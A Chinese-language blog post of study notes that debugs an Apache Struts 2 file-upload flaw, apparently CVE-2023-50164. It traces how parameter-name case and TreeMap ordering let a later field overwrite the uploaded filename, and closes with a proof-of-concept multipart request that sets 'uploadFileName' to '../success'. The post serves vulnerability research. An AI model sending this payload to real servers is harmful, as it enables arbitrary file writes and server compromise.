官方的主要修复有:
感觉有些点还没有细跟 比如ognl的部分,还有这部分的细节。先把学习了大佬们的博文后自己调了一遍+捋思维的过程记录下来吧。
根据测试用例来看, 之前的问题是大小写不敏感,是 HttpParameters
类对新参数的处理出现了问题。
这里的分析思路学习的是 trganda博客的思路:
测试用例 → 定位类下某个方法( appendAll) → appendAll方法调用处 → 从调用处的几个函数中寻找可利用点,即文件上传。
其中appendAll方法调用处 有一处是涉及文件上传的, 这部分对应的是 FileUploadInterceptor
下的intercept
方法
if (files != null && files.length > 0) {
List<UploadedFile> acceptedFiles = new ArrayList<>(files.length);
List<String> acceptedContentTypes = new ArrayList<>(files.length);
List<String> acceptedFileNames = new ArrayList<>(files.length);
String contentTypeName = inputName + "ContentType";
String fileNameName = inputName + "FileName";
for (int index = 0; index < files.length; index++) {
if (acceptFile(action, files[index], fileName[index], contentType[index], inputName, validation)) {
acceptedFiles.add(files[index]);
acceptedContentTypes.add(contentType[index]);
acceptedFileNames.add(fileName[index]);
}
}
if (!acceptedFiles.isEmpty()) {
Map<String, Parameter> newParams = new HashMap<>();
newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
ac.getParameters().appendAll(newParams);
}
}
这里我上传了一个文件 1.txt, 上传的包如图
打断点进行代码分析FileUploadInterceptor#intercept
, 这里看到, inputName
字段赋值到了两个变量: contentTypeName
和 fileNameName
。 然后这两个变量和 inputName
一同被put到了newParams
(类型为Map<String, Parameter> 即 HashMap)
这里 ac.getParameters().appendAll(newParams);
则是被调用点,ac是一个 ActionInvocation
ActionContext ac = invocation.getInvocationContext();
这里,作为一枚java小白,恶补一下java知识之关于ActionInvocation的部分
在 Struts 2 框架中,ActionInvocation 是一个核心接口,它代表了一个动作的调用过程。其基本职责是控制动作(action)的执行流程。当一个动作被触发时,ActionInvocation 负责协调 Struts 2 框架各个部分的交互, 包括: 执行拦截器(interceptors), 调用动作方法,结果处理
现在这个FileUploadInterceptor
类就是一个Interceptors,来处理请求中的各类参数的喵
这里用户可控的 inputName (对应post传入的name="upload";)
其中, fileName
和 contentType
files
分别由FileUploadInterceptor#intercept
下列赋值语句获取
String[] fileName = multiWrapper.getFileNames(inputName);
String[] contentType = multiWrapper.getContentTypes(inputName);
UploadedFile[] files = multiWrapper.getFiles(inputName);
以下是涉及这几个变量的代码片段截图
其中 ``acceptFile` 是检查文件是否合法的(contentType和size两个方面,至于别的检查可以看参考/学习处的文章调试跟进,自己也调试着跟一下,排除了FileUploadInterceptor处的变量覆盖的可能性)这里
multiWrapper.getFileNames(inputName)
跟进是
MultiPartRequestWrapper#getFileNames
JakartaStreamMultiPartRequest#getFileNames
AbstractMultiPartRequest#getCanonicalName
这里限制了文件不能够目录遍历,即直接请求体构造filename是无效的(例如):
Content-Disposition: form-data; name="upload"; filename="../1.txt"
回到FileUploadInterceptor
继续分析这里用了一个遍历将文件信息放到了都放置到了变量 acceptedFileNames
下。然后跟进到 ac.getParameters().appendAll(newParams);
这里 getParameter
返回的是一个HttpParameters
类型。这里也没有发现可覆盖点,
那么在action下的对应函数方法进行断点:
看调用栈,这里还能看到ognl
同时,IDEA调试知道 com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters
会调用到HttpParameters
(这里ordered为false)
protected void setParameters(final Object action, ValueStack stack, HttpParameters parameters) {
HttpParameters params;
Map<String, Parameter> acceptableParameters;
if (ordered) {
params = HttpParameters.create().withComparator(getOrderedComparator()).withParent(parameters).build();
acceptableParameters = new TreeMap<>(getOrderedComparator());
} else {
params = HttpParameters.create().withParent(parameters).build();
acceptableParameters = new TreeMap<>();
}
......
addParametersToContext(ActionContext.getContext(), acceptableParameters);
}
protected void addParametersToContext(ActionContext ac, Map<String, ?> newParams) {
}
这里可以看到:
acceptableParameters.put(parameterName, entry.getValue());
是将HashMap数据结构下的元素转到TreeMap元素下,HashMap是无序数据结构,而TreeMap是基于红黑树实现的有序数据结构。
为了验证实际请求中 顺序产生了改变,这里发起一个构造的name大小写不一样的请求进行测试
测试的请求1:
请求内容:
------WebKitFormBoundarylklKBmAwQQCsk4Ex
Content-Disposition: form-data; name="Upload"; filename="fiel1.txt"
Content-Type: text/plain
test value
------WebKitFormBoundarylklKBmAwQQCsk4Ex
Content-Disposition: form-data; name="upload"; filename="file2.txt"
Content-Type: text/plain
file2name
------WebKitFormBoundarylklKBmAwQQCsk4Ex--
断点: com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters
可以看到TreeMap下是大写优先的
那么只要不要让传入的参数走FileUploadInterceptor
, 就可以摆脱文件上传目录的检查了。
另外加上通过改变 upload
的值为 uploadFilename 覆盖掉原本的(如图)文件上传目录,因为action的处理过程在FileUploadInterceptor
之后。
测试poc, poc内容:
------WebKitFormBoundary3ks5NW13KTE8KAzk
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
1111
------WebKitFormBoundary3ks5NW13KTE8KAzk
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain
../success
------WebKitFormBoundary3ks5NW13KTE8KAzk--
ParametersInterceptor
下断点查看,在 acceptableParameters
下 大写在前
这里for循环下打断点也可以看到是在newStack.setParameter
这里设置了action的(还用到了ognl)
最后,在循环的最后,uploadFileName 被覆盖